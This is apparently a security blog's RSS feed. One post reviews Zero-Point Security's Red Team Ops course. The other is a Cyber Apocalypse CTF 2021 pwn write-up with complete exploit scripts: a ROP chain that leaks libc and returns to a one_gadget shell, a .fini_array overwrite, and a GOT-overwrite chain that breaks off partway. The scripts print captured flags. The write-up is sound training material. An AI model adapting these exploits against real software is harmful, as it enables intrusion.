<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title></title>
    <description>Musings from the brainpan</description>
    <link>http://blog.techorganic.com</link>
    <atom:link href="http://blog.techorganic.com/atom.xml" rel="self" type="application/rss+xml" />
    
      <item>
        <title>Thoughts on Zero-Point Security&apos;s Red Team Ops course</title>
        <description>&lt;p&gt;This weekend I successfully completed the &lt;a href=&quot;https://training.zeropointsecurity.co.uk/courses/red-team-ops&quot;&gt;Red Team Ops&lt;/a&gt; exam offered by &lt;a href=&quot;https://www.zeropointsecurity.co.uk/&quot;&gt;Zero-Point Security&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/_rastamouse&quot;&gt;Rasta Mouse&lt;/a&gt;. This is a red team training course with a focus on exploiting misconfigurations within an Active Directory environment. Completing the lessons earns you a certificate, so if that’s all you want, then you can stop there. However, if you really want to challenge what you’ve learnt, you’ll definitely want to take on the exam.&lt;/p&gt;

&lt;p&gt;The course includes lessons that covers various techniques to identify and exploit misconfigurations in Active Directory. While it focuses primarily on offensive techniques, it also covers indicators left by various attacks that could be used to alert a blue team to your activities. The entire curriculum is at &lt;a href=&quot;https://training.zeropointsecurity.co.uk/courses/red-team-ops&quot;&gt;Zero-Point Security’s&lt;/a&gt; website so I won’t repeat it here.&lt;/p&gt;

&lt;p&gt;A virtual lab environment is provided where you can test out everything you’ve learned. The biggest selling point for me was the inclusion of the &lt;a href=&quot;https://www.cobaltstrike.com/features/&quot;&gt;Cobalt Strike&lt;/a&gt; software that you can use in the lab. I’ve done a few red team engagements in the past, so I was familiar with the topics covered in the course. However, I had always used open source C2 frameworks such as &lt;a href=&quot;https://github.com/BC-SECURITY/Empire&quot;&gt;Empire&lt;/a&gt; and &lt;a href=&quot;https://github.com/cobbr/Covenant&quot;&gt;Covenant&lt;/a&gt;, so I was excited to test drive Cobalt Strike. While it may not be everyone’s cup of tea, Cobalt Strike is used by many red teamers and threat actors alike. It was great to be able to explore its capabilities within a vulnerable environment.&lt;/p&gt;

&lt;p&gt;You retain access to the lessons and any updates it gets even after the exam is over. The lessons themselves were only recently updated with new topics and restructured to make it flow better. Lab access can be purchased by the hour, and I made full use of it, even during the exam. It was helpful to be able to test and experiment with different things, and then just revert the entire lab if something broke.&lt;/p&gt;

&lt;p&gt;The exam is 48 hours long, spaced out over four days. You can pause the exam at any time so as to not burn through the 48 hours. There’s plenty of time to hack, eat, sleep and repeat. I did about 12 hours of hacking each day, and spent the remaining hours doing non-computer related things. This gave my brain a break whenever I hit a brick wall, and allowed me to look at the problem with a clear mind. There are 8 flags in the exam environment, but you only need 6 to pass. No report writing is required, and once you’ve submitted 6 flags, you’ve pretty much passed.&lt;/p&gt;

&lt;p&gt;The week before the exam, I went through the lessons and labs once more, and I kept detailed and structured notes. I put together a game plan on what to do once I had a foothold on a computer to try and reduce my chances of missing anything important or making a mistake. One of the tips given by Rasta Mouse was to ensure that we were prepared to bypass anti-virus and defenses. So I made sure my payloads in the lab were executing properly in a machine that had anti-virus running.&lt;/p&gt;

&lt;p&gt;I started the exam on Tuesday morning, and by Thursday I had six flags. By the end of Friday, I scored the remaining two flags and ended the exam with a 100% score, and 10 hours to spare. Despite my best efforts, I missed a crucial enumeration step early on which prevented me from getting a flag much sooner than I should have. After a long break and looking at my findings again, I finally saw it and was able to move forward.&lt;/p&gt;

&lt;p&gt;Whenever I got a flag, I took a short break so I could approach the next problem with a clear mind. If I had to take a long break, I paused the lab, which effectively turned it off. If you’ve understood the lessons and play your cards right, you’ll know how to pick up right where you left off without too much trouble.&lt;/p&gt;

&lt;p&gt;As soon as the exam event ended, I received my Certified Red Team Ops badge:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://ca.badgr.com/public/assertions/kndcIHx6RAGZJ5zol8XLIA&quot;&gt;&lt;img src=&quot;/images/2022-10-24/01.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Overall, I had a positive experience taking the course and exam. I highly recommend it to anyone interested in red teaming, or learning how to use Cobalt Strike. I took the course with the intention of gaining some experience with Cobalt Strike and learning some new things, and I walked away with exactly that.&lt;/p&gt;
</description>
        <pubDate>Mon, 24 Oct 2022 04:45:12 +0000</pubDate>
        <link>http://blog.techorganic.com/2022/10/24/thoughts-on-zeropoint-securitys-red-team-ops-course/</link>
        <guid isPermaLink="true">http://blog.techorganic.com/2022/10/24/thoughts-on-zeropoint-securitys-red-team-ops-course/</guid>
      </item>
    
      <item>
        <title>Cyber Apocalypse CTF 2021 Pwn Solutions</title>
        <description>&lt;p&gt;HackTheBox ran the Cyber Apocalypse CTF over a five day period. There were a lot of different challenges, but I joined for the sole purpose of just solving the Pwn category during my free time. Of the five challenges in the Pwn category, I solved four challenges during the CTF, and solved the last one the day after the CTF ended. I’ve listed my solution to all five challenges in this post.&lt;/p&gt;

&lt;p&gt;For anyone wondering what tools I used:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/superkojiman/pwnbox&quot;&gt;pwnbox&lt;/a&gt; for a Docker test environment.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/Gallopsled/pwntools&quot;&gt;pwntools&lt;/a&gt; for writing the exploits.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/pwndbg/pwndbg&quot;&gt;pwndbg&lt;/a&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdb&lt;/code&gt; for debugging.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cutter.re/&quot;&gt;Cutter&lt;/a&gt; with Ghidra’s decompiler for reverse engineering.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;controller&quot;&gt;Controller&lt;/h2&gt;

&lt;p&gt;This binary challenge includes a copy of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc.so.6&lt;/code&gt; and is compiled with Full RELRO and NX.&lt;/p&gt;

&lt;p&gt;When executed, the binary will ask the user to enter two numbers, and to select from a mathematical operation that will either add, subtract, multiple, or divide the numbers. As long as either of the numbers are not greater than 69, the operation succeeds and the result is printed back to the user. If either of the numbers are greater than 69, the binary exits.&lt;/p&gt;

&lt;p&gt;The vulnerability lies in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;calculator()&lt;/code&gt; function where it checks if the result of the mathematical operation is equal to 0xff3a, or 65338 in decimal. If it is, it enters a code branch where it prompts the user for input using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__isoc99_scanf(&quot;%s&quot;)&lt;/code&gt;. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__isoc99_scanf(&quot;%s&quot;)&lt;/code&gt; does not perform bounds checking which allows us to write past the buffer and overwrite &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;calculator()&lt;/code&gt;’s saved return pointer, and hijack the binary’s execution flow. Specifically, the saved return pointer is 40 bytes from the end of the buffer &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__isoc99_scanf()&lt;/code&gt; writes to.&lt;/p&gt;

&lt;p&gt;Recall that the binary exits if either number entered by the user is greater than 69. This makes it impossible to provide two positive numbers that equal 65338. However, a second vulnerability exists, this time within the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;calc()&lt;/code&gt; function. The numbers entered are stored as unsigned integers which allow us to enter negative numbers. The result 65338 can be obtained by getting the difference of -65338 and -130876.&lt;/p&gt;

&lt;p&gt;Proof of concept where we overwrite the saved return pointer with “BBBBBBBB” (0x4242424242424242):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;► ./controller

👾 Control Room 👾

Insert the amount of 2 different types of recources: -65538 -130876
Choose operation:

1. ➕

2. ➖

3. ❌

4. ➗

&amp;gt; 2
-65538 - -130876 = 65338
Something odd happened!
Do you want to report the problem?
&amp;gt; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
Problem ingored
Segmentation fault (core dumped)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Examining the core dump shows that it tried to return to 0x4242424242424242:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pwndbg&amp;gt; bt
#0  0x00000000004010fd in ?? ()
#1  0x4242424242424242 in ?? ()
#2  0x00007ffff7b87e00 in ?? ()
#3  0x0000000100000000 in ?? ()
#4  0x0000000000401170 in ?? ()
#5  0x00007f78a16c6b97 in ?? ()
#6  0x0000000000000001 in ?? ()
#7  0x00007ffff7b87ef8 in ?? ()
#8  0x0000000100008000 in ?? ()
#9  0x0000000000401124 in ?? ()
#10 0x0000000000000000 in ?? ()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pwndbg&amp;gt; f 1
#1  0x4242424242424242 in ?? ()
pwndbg&amp;gt; context
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x10
 RBX  0x0
 RCX  0x0
 RDX  0x401400
 RDI  0x401400
 RSI  0x0
 R8   0xa
 R9   0x7f78a1cb04c0 ◂— rol    byte ptr [rbx + rcx*8], 0xa1
 R10  0x0
 R11  0x246
 R12  0x4006b0
 R13  0x7ffff7b87ef0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x4141414141414141 (&apos;AAAAAAAA&apos;)
 RSP  0x7ffff7b87e00 ◂— 0x7ffff7b87e00
 RIP  0x4242424242424242 (&apos;BBBBBBBB&apos;)
─────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────
Invalid address 0x4242424242424242

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are no “win” functions in this binary to return to that will print out the flag, or give us a shell. Getting a shell means finding a way to execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve(&quot;/bin/sh&quot;)&lt;/code&gt; from libc. Since libc is randomized, we need to calculate the target’s libc base address by leaking a function’s libc address and subtracting its offset from the provided &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc.so.6&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;One solution is to utilize ROP gadgets to pop the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puts()&lt;/code&gt; from the GOT into the RDI register, and then return to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puts()&lt;/code&gt; at the PLT to have it print out the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puts()&lt;/code&gt; in libc:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;buf  = b&quot;A&quot;*40
buf += p64(rop.find_gadget([&quot;pop rdi&quot;, &quot;ret&quot;])[0])      # pop rdi gadgat
buf += p64(elf.got.puts)                                # puts() in GOT
buf += p64(elf.plt.puts)                                # puts() in PLT

r.sendline(buf)

r.recvline()
puts_leak = int.from_bytes(r.recvline()[:6], &quot;little&quot;)
print(f&quot;puts@libc leak: 0x{puts_leak:2x}&quot;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With the leaked libc address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;puts()&lt;/code&gt;, it becomes trivial to calculate libc’s base address:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;libc.address = puts_leak - libc.sym.puts
print(f&quot;libc base: 0x{libc.address:2x}&quot;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To find a gadget that executes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve(&quot;/bin/sh&quot;)&lt;/code&gt;, we can use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;one_gadget&lt;/code&gt; tool:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;► one_gadget  ./libc.so.6
0x4f3d5 execve(&quot;/bin/sh&quot;, rsp+0x40, environ)
constraints:
  rsp &amp;amp; 0xf == 0
  rcx == NULL

0x4f432 execve(&quot;/bin/sh&quot;, rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve(&quot;/bin/sh&quot;, rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can add any of these offsets to libc’s base address and return to that to get a shell, but first we need to get the binary to prompt us for more data. One way to do that is to return to the start of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;calculator()&lt;/code&gt; and exploit the stack buffer overflow again, but this time changing the saved return pointer to point to a one-gadget address that calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Here’s the final exploit:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import *

def send_numbers():
    # send numbers to calculator()
    print(&quot;Sending numbers...&quot;)
    r.recvuntil(&quot;: &quot;)
    r.sendline(&quot;-65538 -130876&quot;)
    r.recvuntil(&quot;&amp;gt; &quot;)
    r.sendline(&quot;2&quot;)
    r.recvuntil(&quot;&amp;gt; &quot;)

context(os=&quot;linux&quot;, arch=&quot;amd64&quot;)
elf = context.binary = ELF(&quot;controller&quot;)
libc = ELF(&quot;./libc.so.6&quot;)

rop = ROP(elf)
pop_rdi = rop.find_gadget([&quot;pop rdi&quot;, &quot;ret&quot;])[0]

r = remote(&quot;165.227.237.7&quot;, 32710)

buf = b&quot;&quot;
buf += b&quot;A&quot;*40
buf += p64(pop_rdi)             # pop rdi; ret
buf += p64(elf.got.puts)        # puts() at GOT
buf += p64(elf.plt.puts)        # return to puts() at PLT to leak puts() at libc
buf += p64(0x00401066)          # re-exploit calculator() again

send_numbers()

print(&quot;Sending payload 1...&quot;)
r.sendline(buf)

r.recvline()
puts_leak = int.from_bytes(r.recvline()[:6], &quot;little&quot;)
print(f&quot;puts@libc leak: 0x{puts_leak:2x}&quot;)

libc.address = puts_leak - libc.sym.puts
print(f&quot;libc base: 0x{libc.address:2x}&quot;)

execve_gadget_offset = 0x4f3d5
execve_gadget = libc.address + execve_gadget_offset
print(f&quot;execve gadget: 0x{execve_gadget:2x}&quot;)

# overwrite calculator()&apos;s saved return pointer with execve() gadget
buf = b&quot;&quot;
buf += b&quot;A&quot;*40 + p64(execve_gadget)

send_numbers()

print(&quot;Sending payload 2...&quot;)
r.sendline(buf)

print(&quot;Getting shell...&quot;)
r.interactive()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And here it is in action:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;► ./sploit.py SILENT=1
Sending numbers...
Sending payload 1...
puts@libc leak: 0x7fe80cb5faa0
libc base: 0x7fe80cadf000
execve gadget: 0x7fe80cb2e3d5
Sending numbers...
Sending payload 2...
Getting shell...
Problem ingored
$ cat flag.txt
CHTB{1nt3g3r_0v3rfl0w_s4v3d_0ur_r3s0urc3s}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;minefield&quot;&gt;Minefield&lt;/h2&gt;

&lt;p&gt;This binary challenge is compiled with a stack canary and NX. There is no RELRO which means we can overwrite function pointers in the GOT.&lt;/p&gt;

&lt;p&gt;The binary itself is very simple. It prompts the user if they’re ready to plant a mine. Selecting No causes the binary to exit. Selecting Yes will prompt the user for a type of mine to use, and a location to plant it in. The user’s input is passed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strtoull()&lt;/code&gt; which converts it into an unsigned long long value. If we examine the disassembly of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mission()&lt;/code&gt;, we see that the “type of mine” is actually an address that “location of mine” is written to. This is effectively a write primitive that allows us to write a value anywhere in memory that’s writable:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x00400ad5      mov     rdx, qword [location_of_mine]
0x00400ad9      mov     rax, qword [type_of_mine]
0x00400add      mov     qword [rax], rdx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first thought was to overwrite a function pointer in the GOT, but there are actually no functions called right after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mission()&lt;/code&gt; returns. If we look at the writable sections reported by Cutter, we see that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.fini_array&lt;/code&gt; is at 0x601078. This location contains a pointer to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__do_global_dtors_aux&lt;/code&gt; which handles destructors.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pwndbg&amp;gt; x/a 0x601078
0x601078:	0x400860 &amp;lt;__do_global_dtors_aux&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Functions in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.fini_array&lt;/code&gt; are called by the runtime linker when the program terminates. Since this section is writable, we can overwrite 0x601078 with an address of our choosing and control execution flow right before the binary terminates.&lt;/p&gt;

&lt;p&gt;As it turns out, this binary provides a “win” function that prints the flag. In this case, it’s called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_()&lt;/code&gt; at 0x40096b. Exploitation is pretty simple at this point. When asked for the type of mine, we enter 0x601078, and when asked for a location, we enter 0x40096b:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import *

context(os=&quot;linux&quot;, arch=&quot;amd64&quot;)
elf = context.binary = ELF(&quot;minefield&quot;)

r = remote(&quot;178.62.14.240&quot;, 31535)

r.recvuntil(&quot;&amp;gt; &quot;)
r.sendline(&quot;2&quot;)

r.recvuntil(&quot;: &quot;)
r.sendline(&quot;0x601078&quot;)           # .fini_array

r.recvuntil(&quot;: &quot;)
r.sendline(str(elf.sym._))       # get_flag function 0x40096b
print(r.recvuntil(&quot;}&quot;))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running the script returns the flag:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;► ./sploit.py SILENT=1
b&apos;We need to get out of here as soon as possible. Run!\n\nMission accomplished! \xe2\x9c\x94\nCHTB{d3struct0r5_m1n3f13ld}&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;system-drop&quot;&gt;System dROP&lt;/h2&gt;

&lt;p&gt;This binary challenge is compiled with partial RELRO and NX. The name appears to imply that ROP is required to exploit this.&lt;/p&gt;

&lt;p&gt;The binary itself is fairly small. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main()&lt;/code&gt; function just reads 256 bytes from the user using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read()&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x00400541      push rbp
0x00400542      mov rbp, rsp
0x00400545      sub rsp, 0x20
0x00400549      mov edi, 0xf       ; 15
0x0040054e      call alarm         ; sym.imp.alarm
0x00400553      lea rax, [buf]
0x00400557      mov edx, 0x100     ; 256 ; size_t nbyte
0x0040055c      mov rsi, rax       ; void *buf
0x0040055f      mov edi, 0         ; int fildes
0x00400564      call read          ; sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
0x00400569      mov eax, 1
0x0040056e      leave
0x0040056f      ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A user defined &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;syscall()&lt;/code&gt; function exists for the sole purpose of providing a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;syscall&lt;/code&gt; gadget:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x00400537      push rbp
0x00400538      mov rbp, rsp
0x0040053b      syscall
0x0040053d      ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are no “win” functions, so that means we need to get a shell by executing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve(&quot;/bin/sh&quot;)&lt;/code&gt;. My initial thought was to use a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mprotect&lt;/code&gt; syscall on a writable section to make it executable, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read()&lt;/code&gt; shellcode into that location, and then return to it to get a shell. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mprotect&lt;/code&gt; requires four parameters that need to be set in RDI, RSI, RDX, and RCX. A quick look at what gadgets are available in the binary show that we only have a pop RDI and RSI that are immediately accessible:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;► ropper --file system_drop --search &apos;pop r??&apos;
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r??

[INFO] File: system_drop
0x00000000004005cc: pop r12; pop r13; pop r14; pop r15; ret;
0x00000000004005ce: pop r13; pop r14; pop r15; ret;
0x00000000004005d0: pop r14; pop r15; ret;
0x00000000004005d2: pop r15; ret;
0x00000000004004ab: pop rbp; mov edi, 0x601038; jmp rax;
0x00000000004005cb: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x00000000004005cf: pop rbp; pop r14; pop r15; ret;
0x00000000004004b8: pop rbp; ret;
0x00000000004005d3: pop rdi; ret;
0x00000000004005d1: pop rsi; pop r15; ret;
0x00000000004005cd: pop rsp; pop r13; pop r14; pop r15; ret;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After some initial testing, it became clear that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mprotect&lt;/code&gt;&amp;gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read()&lt;/code&gt; chain would be too large to fit in 256 bytes as it would require us to utilize a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__libc_csu_init()&lt;/code&gt; chain to store data in the RDX and RCX registers. A different approach was required.&lt;/p&gt;

&lt;p&gt;Upon closer examination of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main()&lt;/code&gt;’s disassembly, the binary sets EAX to 1 right after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read()&lt;/code&gt; is called. When &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;syscall&lt;/code&gt; is called and RAX is 1, it calls the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;write&lt;/code&gt; syscall. This could be leveraged to call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;write&lt;/code&gt; and leak a libc address from the GOT.&lt;/p&gt;

&lt;p&gt;The GOT itself only contained entries for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alarm()&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read()&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[0x601018] alarm@GLIBC_2.2.5 -&amp;gt; 0x7ffff7ac8840 (alarm) ◂— mov    eax, 0x25
[0x601020] read@GLIBC_2.2.5 -&amp;gt; 0x7ffff7af4070 (read) ◂— lea    rax, [rip + 0x2e0881]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With a libc leak, we can calculate libc’s base address and return to an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve(&quot;/bin/sh&quot;)&lt;/code&gt; gadget. While the binary didn’t come with an included &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc.so.6&lt;/code&gt;, we did have one from the Controller challenge. I made the assumption that both binaries used the same version of libc and used it for the exploit. Here’s the first part of our exploit that leaks &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alarm()&lt;/code&gt; at libc’s address, and calculates libc’s base address:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;from pwn import *

context(os=&quot;linux&quot;, arch=&quot;amd64&quot;)
elf = context.binary = ELF(&quot;./system_drop&quot;)

libc = ELF(&quot;./libc.so.6&quot;)

pop_rdi = 0x4005d3               # pop rdi
pop_rsi_chain = 0x4005d1         # pop rsi; pop r15; ret
syscall = 0x40053b               # syscall; ret

# Stage 1 : Leak a libc address
# After the binary calls read(), it sets eax=1 which we can use for a write() syscall to leak
# alarm()&apos;s libc address
buf = b&quot;A&quot;*40
buf += p64(pop_rdi)
buf += p64(0x1)                 # stdout
buf += p64(pop_rsi_chain)
buf += p64(elf.got.alarm)       # alarm@got
buf += p64(0x0)
buf += p64(syscall)             # write() syscall which should give us the libc address we need

r.sendline(buf)
alarm_libc_leak = int.from_bytes(r.recv()[:6], &quot;little&quot;)
print(f&quot;alarm@libc: 0x{alarm_libc_leak:2x}&quot;)

libc.address = alarm_libc_leak - libc.sym.alarm
print(f&quot;libc base: 0x{libc.address:2x}&quot;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So far so good:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;► ./sploit.py SILENT=1
alarm@libc: 0x7f6da9056610
libc base: 0x7f6da8f72000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We already have a list of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve()&lt;/code&gt; offsets from the Controller challenge when we ran &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;one_gadget&lt;/code&gt;. In order to execute it, we need to overwrite a function pointer in the GOT with the address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve()&lt;/code&gt; gadget. We can overwrite the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alarm()&lt;/code&gt; at the GOT, and then call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alarm()&lt;/code&gt; at PLT to call the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve()&lt;/code&gt; gadget. To do that, we need to call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read()&lt;/code&gt; at PLT with the RDI register set to 0 (stdout), and RSI set to the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alarm()&lt;/code&gt; at the GOT:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Stage 2 : We have libc and calculated the address of a one-gadget-rce at this point
# Call read() again to overwrite alarm@got with one-gadget-rce
buf += p64(pop_rdi)
buf += p64(0x0)                 # stdout
buf += p64(pop_rsi_chain)       # pop rsi; pop r15; ret
buf += p64(elf.got.alarm)       # alarm@got
buf += p64(0x0)                 # junk for r15
buf += p64(read_plt)            # read() in our one-gadget-rce into alamr@got
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

